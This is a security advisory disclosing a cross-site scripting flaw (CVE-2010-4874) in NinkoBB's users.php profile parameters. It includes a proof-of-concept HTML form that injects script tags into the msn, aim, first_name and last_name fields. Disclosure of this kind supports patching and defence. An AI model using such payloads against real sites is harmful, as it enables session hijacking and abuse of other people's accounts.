Cross-site Scripting (XSS) Vulnerability in NinkoBB

High-Tech Bridge SA Security Research Lab has discovered vulnerability in NinkoBB which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in NinkoBB: CVE-2010-4874
The vulnerability exists due to input sanitation error in parameters "msn","aim","first_name" and "last_name" in users.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/users.php?a=profile" method="post" />
<input type="hidden" name="first_name" value="&quot;><script>alert('XSS1');</script>">
<input type="hidden" name="last_name" value="&quot;><script>alert('XSS2');</script>">
<input type="hidden" name="msn" value="&quot;><script>alert('XSS3');</script>">
<input type="hidden" name="aim" value="&quot;><script>alert('XSS4');</script>">
<input type="submit" name="profile" value="submit">
</form>